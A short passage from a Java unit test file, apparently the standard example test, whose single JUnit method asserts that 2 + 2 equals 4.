@Test
public void addition_isCorrect() {
assertEquals(4, 2 + 2);
}
}